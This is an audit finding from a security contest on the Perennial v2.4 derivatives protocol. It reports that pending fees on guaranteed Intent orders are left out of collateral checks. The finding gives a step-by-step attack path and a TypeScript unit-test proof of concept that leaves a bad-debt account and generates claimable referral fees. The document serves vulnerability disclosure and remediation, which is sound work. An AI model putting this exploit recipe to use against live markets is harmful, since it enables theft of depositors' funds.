Skip to content

Latest commit

 

History

History
201 lines (163 loc) · 8.4 KB

031.md

File metadata and controls

201 lines (163 loc) · 8.4 KB

Clumsy Pink Otter

High

Intent orders are guaranteed to execute, but fees from these orders are not accounted in collateral, allowing user to withdraw all collateral ignoring these pending fees.

Summary

In normal update, all orders are pending and might be invalidated if invalid price is commited for the corresponding epoch (no pricefeed available or price commit timeout). However, when Intents are used, these orders are guaranteed to be accepted (invalidation = 0 for them). In particular, this feature allows to open and close orders via Intents even when open order epoch is not commited yet.

The issue is that the fees for the orders are pending and not included in collateral calculations. At the same time, since Intent orders are guaranteed, user can open them, close them and withdraw all collateral ignoring any pending fees. Then, after the price for the corresponding epoch is commited, the fees are added to user collateral (which is 0), thus user goes into bad debt. These fees taken are distributed to admin and part of them becomes claimable by the referrer.

This means that attacker can open, close, withdraw all collateral at 0 cost, and after epoch price is commited, the referrer (also controlled by attacker) can claim part of the fees. Essentially, attacker steals funds from the market via claiming fees which become bad debt of the abandoned account.

Root Cause

Trade fees are only applied to account collateral when advancing checkpoints (which happens after the epoch price is commited): https://github.com/sherlock-audit/2025-01-perennial-v2-4-update/blob/main/perennial-v2/packages/core/contracts/libs/CheckpointLib.sol#L84-L92

At the same time, when all pending orders are guaranteed (from Intents, invalidation == 0), user is allowed to fully close the position, even if the opening is still pending (pending negative - which is pending closure - can exceed latest commited position): https://github.com/sherlock-audit/2025-01-perennial-v2-4-update/blob/main/perennial-v2/packages/core/contracts/libs/InvariantLib.sol#L35-L38

Internal pre-conditions

None.

External pre-conditions

None.

Attack Path

  1. Attacker funds account1 and account2
  2. Attacker uses account1 to create 2 Intents to open and then close position with account3 as originator and referral.
  3. Attacker uses account2 to execute both intents (to open and then immediately close position)
  4. Attacker withdraws all collateral from account1 and account2, getting the same amount he has deposited, because fees are still pending and ignored at this time. Note: steps 1-4 can be done in 1 transaction, thus attacker can use flash loan to execute the attack
  5. Attacker waits until the epoch price is commited
  6. Attacker call market.claimFee(account3) to get referral fees from the orders. Result: Attacker can steal all funds from the market.

Impact

All market funds are stolen by the Attacker.

PoC

Add to test/unit/Market.test.ts in the invariant violations context:

it('withdraw fees', async () => {
  const riskParameter = { ...(await market.riskParameter()) }
  riskParameter.margin = parse6decimal('0.012')
  riskParameter.maintenance = parse6decimal('0.01')
  riskParameter.minMargin = parse6decimal('5')
  riskParameter.minMaintenance = parse6decimal('5')
  await market.updateRiskParameter(riskParameter)

  const marketParameter = { ...(await market.parameter()) }
  marketParameter.takerFee = parse6decimal('0.003')
  await market.updateParameter(marketParameter)

  factory.parameter.returns({
    maxPendingIds: 5,
    protocolFee: parse6decimal('0.50'),
    maxFee: parse6decimal('0.01'),
    maxLiquidationFee: parse6decimal('1000'),
    maxCut: parse6decimal('0.50'),
    maxRate: parse6decimal('10.00'),
    minMaintenance: parse6decimal('0.01'),
    minEfficiency: parse6decimal('0.1'),
    referralFee: parse6decimal('0.20'),
    minScale: parse6decimal('0.001'),
    maxStaleAfter: 14400,
  })

  const intent = {
    amount: parse6decimal('0.3'),
    price: parse6decimal('123'),
    fee: parse6decimal('0.5'),
    originator: liquidator.address,
    solver: liquidator.address,
    collateralization: parse6decimal('0.01'),
    common: {
      account: user.address,
      signer: user.address,
      domain: market.address,
      nonce: 0,
      group: 0,
      expiry: 0,
    },
  }

  const intent2 = {
    amount: -parse6decimal('0.3'),
    price: parse6decimal('123'),
    fee: parse6decimal('0.5'),
    originator: liquidator.address,
    solver: liquidator.address,
    collateralization: parse6decimal('0.01'),
    common: {
      account: user.address,
      signer: user.address,
      domain: market.address,
      nonce: 1,
      group: 0,
      expiry: 0,
    },
  }

  const LOWER_COLLATERAL = parse6decimal('500')

  dsu.transferFrom.whenCalledWith(user.address, market.address, LOWER_COLLATERAL.mul(1e12)).returns(true)
  dsu.transferFrom.whenCalledWith(userB.address, market.address, LOWER_COLLATERAL.mul(1e12)).returns(true)
  dsu.transferFrom.whenCalledWith(userC.address, market.address, LOWER_COLLATERAL.mul(1e12)).returns(true)

  await market
    .connect(userB)
    ['update(address,uint256,uint256,uint256,int256,bool)'](
      userB.address,
      POSITION,
      0,
      0,
      LOWER_COLLATERAL,
      false,
    )

  await market
    .connect(user)
    ['update(address,uint256,uint256,uint256,int256,bool)'](user.address, 0, 0, 0, LOWER_COLLATERAL, false)
  await market
    .connect(userC)
    ['update(address,uint256,uint256,uint256,int256,bool)'](userC.address, 0, 0, 0, LOWER_COLLATERAL, false)

  oracle.at.whenCalledWith(ORACLE_VERSION_2.timestamp).returns([ORACLE_VERSION_2, INITIALIZED_ORACLE_RECEIPT])
  oracle.at.whenCalledWith(ORACLE_VERSION_3.timestamp).returns([ORACLE_VERSION_3, INITIALIZED_ORACLE_RECEIPT])
  oracle.at.whenCalledWith(ORACLE_VERSION_4.timestamp).returns([ORACLE_VERSION_4, INITIALIZED_ORACLE_RECEIPT])
  oracle.status.returns([ORACLE_VERSION_2, ORACLE_VERSION_3.timestamp])

  verifier.verifyIntent.returns()

  // solver
  factory.authorization
    .whenCalledWith(userC.address, userC.address, userC.address, constants.AddressZero)
    .returns([true, true, BigNumber.from(0)])
  // taker
  factory.authorization
    .whenCalledWith(user.address, userC.address, user.address, liquidator.address)
    .returns([false, true, parse6decimal('0.20')])

  await market
    .connect(userC)
    [
      'update(address,(int256,int256,uint256,address,address,uint256,(address,address,address,uint256,uint256,uint256)),bytes)'
    ](userC.address, intent, DEFAULT_SIGNATURE);

  await market
    .connect(userC)
    [
      'update(address,(int256,int256,uint256,address,address,uint256,(address,address,address,uint256,uint256,uint256)),bytes)'
    ](userC.address, intent2, DEFAULT_SIGNATURE);

  const WITHDRAW_COLLATERAL = parse6decimal('500')

  dsu.transfer.whenCalledWith(user.address, WITHDRAW_COLLATERAL.mul(1e12)).returns(true)

  await market
    .connect(user)
    ['update(address,uint256,uint256,uint256,int256,bool)'](user.address, 0, 0, 0, -WITHDRAW_COLLATERAL, false)

  oracle.status.returns([ORACLE_VERSION_3, ORACLE_VERSION_4.timestamp])

  await settle(market, user)
  await settle(market, userB)
  await settle(market, userC)

  var loc = await market.locals(user.address);
  console.log("user collateral: " + loc.collateral);
  var pos = await market.positions(user.address);
  console.log("user pos: long = " + pos.long);

  var loc = await market.locals(userC.address);
  console.log("userC collateral: " + loc.collateral);
  var pos = await market.positions(userC.address);
  console.log("userC pos: short = " + pos.short);

  var loc = await market.locals(userB.address);
  console.log("userB collateral: " + loc.collateral);

  var loc = await market.locals(liquidator.address);
  console.log("liquidator claimable: " + loc.claimable);

})

Console output:

user collateral: -221400
user pos: long = 0
userC collateral: 500000000
userC pos: short = 0
userB collateral: 500000000
liquidator claimable: 44280

Demonstrates how Attacker can use 3 accounts to generate claimable fees for free, creating abandoned bad debt account in the process.

Mitigation

The issue comes from the fact that position change is guaranteed for Intent orders, but fees are pending until price is commited and are not included in margin/maintenence check calculations. Possible mitigation is to subtract fees pending from the Intent orders (Guarantee) from the collateral in InvariantLib when doing margin/maintenence check.